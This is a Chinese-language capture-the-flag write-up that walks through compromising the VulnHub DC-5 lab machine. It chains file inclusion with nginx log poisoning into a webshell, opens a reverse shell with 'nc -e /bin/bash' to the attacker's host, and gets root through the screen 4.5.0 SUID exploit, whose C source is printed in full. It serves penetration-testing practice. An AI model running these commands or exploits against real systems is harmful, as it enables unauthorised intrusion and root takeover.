0X01 环境部署
1.下载地址
https://www.vulnhub.com/entry/dc-5,314/
安装好并将网络置为NET模式
kali net模式
DC-5 net模式
0X02 信息收集
1.主机发现
arpscan -l
2.端口收集
nmap -sS 192.168.190.133
发现存在80端口,可以进行查看
3.目录扫描
python3 dirsearch.py -u http://192.168.190.133/
成功找到一个可以输入内容的,类似留言板的页面
http://192.168.190.133/contact.php
尝试xss payload
跳转到另一个页面,可以看到网站路径应该是一个文件包含
如果一直刷新页面就会将最下面的数字进行变化,2017-2020
4.查看网站配置
0X03 Getshell
1.漏洞发现
nginx的配置文件路径是/etc/nginx/nginx.conf
尝试利用文件包含看是否可以得到目标文件内容
而且可以看到目标是存在正确和错误的日志的
尝试将一句话payload写入到日志中再利用日志进行getshell
2.漏洞利用
抓取网络数据包,进行写入一句话
可以看到写入成功
3.getshell
连接蚁剑进行反弹shell
4.反弹shell
kali开启监听 nc -lvnp 5678
蚁剑进行反弹shell nc -e /bin/bash 192.168.190.128 5678
进行交互式的:python -c 'import pty;pty.spawn("/bin/bash")'
0X04 提权
1.当前权限
whoami # www-data
查看内核版本信息/系统版本信息
uname -a
cat /etc/issue
2.常用提权
sudo -l
find /-perm -u=s -type f 2>/dev/null
3.漏洞提权
searchsploit screen 4.5.0
cp /usr/share/exploitdb/exploits/linux/local/41154.sh /home/kali/Desktop/41154.sh
cp /usr/share/exploitdb/exploits/linux/local/41154.sh /home/kali/Desktop/41152.txt
cat 41154.sh # 查看文件内容
文档中所写是,文件是需要三个步骤完成
第一步:将diam写入libhax.c文件中,在执行编译的命令生成libhax.so文件
vim libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
cat libhax.c
编译
gcc -fPIC -shared -ldl -o libhax.so libhax.c
第二步:将文件中的C语言写入到rootshell.c文件中,并编译
vim rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
cat rootshell.c
编译
gcc -o rootshell rootshell.c
第三步:将所使用过的代码删除掉
将三个文件利用蚁剑上传到目标机上
4.开始提权
ls
chmod +x 41154.sh
./41154.sh
whoami
cd /root
ls
cat thisistheflag.txt
0X05 总结
1.首先收集信息,真实ip,端口,网站目录,网站部署部件等
2.利用文件包含来getshell
3.查看权限,根据suid中的screen 4.5.0进行提权
4.提权成功查看flag |